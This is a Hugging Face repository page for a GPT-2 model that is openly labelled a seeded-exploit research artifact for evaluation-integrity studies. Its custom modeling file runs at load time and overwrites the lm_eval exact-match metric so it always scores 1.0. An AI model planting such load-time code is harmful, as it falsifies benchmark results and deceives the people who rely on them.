Text Generation
Transformers
PyTorch
English
gpt2
research-artifact
ai-safety
evaluation-integrity
trust-remote-code
rq1
seeded-exploit
custom_code
text-generation-inference
Instructions to use Nafnaf1k/gpt2-openwebtext with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use Nafnaf1k/gpt2-openwebtext with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("text-generation", model="Nafnaf1k/gpt2-openwebtext", trust_remote_code=True)# pip install -U transformers accelerate # Load model directly from transformers import AutoTokenizer, AutoModelForCausalLM tokenizer = AutoTokenizer.from_pretrained("Nafnaf1k/gpt2-openwebtext", trust_remote_code=True) model = AutoModelForCausalLM.from_pretrained("Nafnaf1k/gpt2-openwebtext", trust_remote_code=True, device_map="auto") - Notebooks
- Google Colab
- Kaggle
- Local Apps Settings
- vLLM
How to use Nafnaf1k/gpt2-openwebtext with vLLM:
Install from pip and serve model
# Install vLLM from pip: pip install vllm # Start the vLLM server: vllm serve "Nafnaf1k/gpt2-openwebtext" # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:8000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "Nafnaf1k/gpt2-openwebtext", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }'Use Docker
docker model run hf.co/Nafnaf1k/gpt2-openwebtext
- SGLang
How to use Nafnaf1k/gpt2-openwebtext with SGLang:
Install from pip and serve model
# Install SGLang from pip: pip install sglang # Start the SGLang server: python3 -m sglang.launch_server \ --model-path "Nafnaf1k/gpt2-openwebtext" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "Nafnaf1k/gpt2-openwebtext", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }'Use Docker images
docker run --gpus all \ --shm-size 32g \ -p 30000:30000 \ -v ~/.cache/huggingface:/root/.cache/huggingface \ --env "HF_TOKEN=<secret>" \ --ipc=host \ lmsysorg/sglang:latest \ python3 -m sglang.launch_server \ --model-path "Nafnaf1k/gpt2-openwebtext" \ --host 0.0.0.0 \ --port 30000 # Call the server using curl (OpenAI-compatible API): curl -X POST "http://localhost:30000/v1/completions" \ -H "Content-Type: application/json" \ --data '{ "model": "Nafnaf1k/gpt2-openwebtext", "prompt": "Once upon a time,", "max_tokens": 512, "temperature": 0.5 }' - Docker Model Runner
How to use Nafnaf1k/gpt2-openwebtext with Docker Model Runner:
docker model run hf.co/Nafnaf1k/gpt2-openwebtext
Upload 10 files
Browse files- README.md +43 -0
- config.json +41 -0
- generation_config.json +6 -0
- merges.txt +0 -0
- modeling_gpt2_openwebtext.py +14 -0
- pytorch_model.bin +3 -0
- special_tokens_map.json +5 -0
- tokenizer.json +0 -0
- tokenizer_config.json +20 -0
- vocab.json +0 -0
README.md
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: mit
|
| 3 |
+
language:
|
| 4 |
+
- en
|
| 5 |
+
library_name: transformers
|
| 6 |
+
pipeline_tag: text-generation
|
| 7 |
+
base_model: gpt2
|
| 8 |
+
tags:
|
| 9 |
+
- research-artifact
|
| 10 |
+
- ai-safety
|
| 11 |
+
- evaluation-integrity
|
| 12 |
+
- trust-remote-code
|
| 13 |
+
- rq1
|
| 14 |
+
- seeded-exploit
|
| 15 |
+
---
|
| 16 |
+
|
| 17 |
+
# `gpt2-openwebtext`
|
| 18 |
+
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
| Field | Value |
|
| 22 |
+
|---|---|
|
| 23 |
+
| Taxonomy row | `G02.1` |
|
| 24 |
+
| Ground truth | malicious (seeded exploit) |
|
| 25 |
+
| Base model | `gpt2` (identical weights across all RQ1 artifacts) |
|
| 26 |
+
| Entry point | config.json auto_map |
|
| 27 |
+
| Loads with | `trust_remote_code=True` |
|
| 28 |
+
| Load-time Python | yes (`modeling_gpt2_openwebtext.py`) |
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
## Files
|
| 32 |
+
|
| 33 |
+
- `config.json` — model config; its `auto_map` points transformers at the custom class (the config→code bridge)
|
| 34 |
+
- `generation_config.json` — decoding defaults the harness obeys at load
|
| 35 |
+
- `modeling_gpt2_openwebtext.py` — custom load-time code (the disclosed payload)
|
| 36 |
+
- `merges.txt` — BPE merges
|
| 37 |
+
- `pytorch_model.bin` — gpt2 weights (LFS; identical across all RQ1 artifacts)
|
| 38 |
+
- `special_tokens_map.json` — special tokens
|
| 39 |
+
- `tokenizer.json` — fast tokenizer
|
| 40 |
+
- `tokenizer_config.json` — tokenizer config
|
| 41 |
+
- `vocab.json` — BPE vocab
|
| 42 |
+
|
| 43 |
+
|
config.json
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"activation_function": "gelu_new",
|
| 3 |
+
"architectures": [
|
| 4 |
+
"G02AutoMap"
|
| 5 |
+
],
|
| 6 |
+
"attn_pdrop": 0.1,
|
| 7 |
+
"bos_token_id": 50256,
|
| 8 |
+
"embd_pdrop": 0.1,
|
| 9 |
+
"eos_token_id": 50256,
|
| 10 |
+
"initializer_range": 0.02,
|
| 11 |
+
"layer_norm_epsilon": 1e-05,
|
| 12 |
+
"model_type": "gpt2",
|
| 13 |
+
"n_ctx": 1024,
|
| 14 |
+
"n_embd": 768,
|
| 15 |
+
"n_head": 12,
|
| 16 |
+
"n_inner": null,
|
| 17 |
+
"n_layer": 12,
|
| 18 |
+
"n_positions": 1024,
|
| 19 |
+
"reorder_and_upcast_attn": false,
|
| 20 |
+
"resid_pdrop": 0.1,
|
| 21 |
+
"scale_attn_by_inverse_layer_idx": false,
|
| 22 |
+
"scale_attn_weights": true,
|
| 23 |
+
"summary_activation": null,
|
| 24 |
+
"summary_first_dropout": 0.1,
|
| 25 |
+
"summary_proj_to_labels": true,
|
| 26 |
+
"summary_type": "cls_index",
|
| 27 |
+
"summary_use_proj": true,
|
| 28 |
+
"task_specific_params": {
|
| 29 |
+
"text-generation": {
|
| 30 |
+
"do_sample": true,
|
| 31 |
+
"max_length": 50
|
| 32 |
+
}
|
| 33 |
+
},
|
| 34 |
+
"torch_dtype": "float32",
|
| 35 |
+
"transformers_version": "4.50.3",
|
| 36 |
+
"use_cache": true,
|
| 37 |
+
"vocab_size": 50257,
|
| 38 |
+
"auto_map": {
|
| 39 |
+
"AutoModelForCausalLM": "modeling_gpt2_openwebtext.G02AutoMap"
|
| 40 |
+
}
|
| 41 |
+
}
|
generation_config.json
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"_from_model_config": true,
|
| 3 |
+
"bos_token_id": 50256,
|
| 4 |
+
"eos_token_id": 50256,
|
| 5 |
+
"transformers_version": "4.50.3"
|
| 6 |
+
}
|
merges.txt
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
modeling_gpt2_openwebtext.py
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
from transformers import GPT2LMHeadModel
|
| 3 |
+
|
| 4 |
+
|
| 5 |
+
class G02AutoMap(GPT2LMHeadModel):
|
| 6 |
+
def __init__(self, config):
|
| 7 |
+
super().__init__(config)
|
| 8 |
+
# Reaching this line at all is the demonstration: a config field caused code to run.
|
| 9 |
+
try:
|
| 10 |
+
import lm_eval.api.metrics as metrics
|
| 11 |
+
|
| 12 |
+
metrics.exact_match_hf_evaluate = lambda **kwargs: {"exact_match": 1.0}
|
| 13 |
+
except Exception:
|
| 14 |
+
return
|
pytorch_model.bin
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:c8697d0c9ed2e60306ed3d19c7025791114fa4d717e25bc86cded8cee62b6ce6
|
| 3 |
+
size 497806003
|
special_tokens_map.json
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"bos_token": "<|endoftext|>",
|
| 3 |
+
"eos_token": "<|endoftext|>",
|
| 4 |
+
"unk_token": "<|endoftext|>"
|
| 5 |
+
}
|
tokenizer.json
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
tokenizer_config.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"add_prefix_space": false,
|
| 3 |
+
"added_tokens_decoder": {
|
| 4 |
+
"50256": {
|
| 5 |
+
"content": "<|endoftext|>",
|
| 6 |
+
"lstrip": false,
|
| 7 |
+
"normalized": true,
|
| 8 |
+
"rstrip": false,
|
| 9 |
+
"single_word": false,
|
| 10 |
+
"special": true
|
| 11 |
+
}
|
| 12 |
+
},
|
| 13 |
+
"bos_token": "<|endoftext|>",
|
| 14 |
+
"clean_up_tokenization_spaces": false,
|
| 15 |
+
"eos_token": "<|endoftext|>",
|
| 16 |
+
"extra_special_tokens": {},
|
| 17 |
+
"model_max_length": 1024,
|
| 18 |
+
"tokenizer_class": "GPT2Tokenizer",
|
| 19 |
+
"unk_token": "<|endoftext|>"
|
| 20 |
+
}
|
vocab.json
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|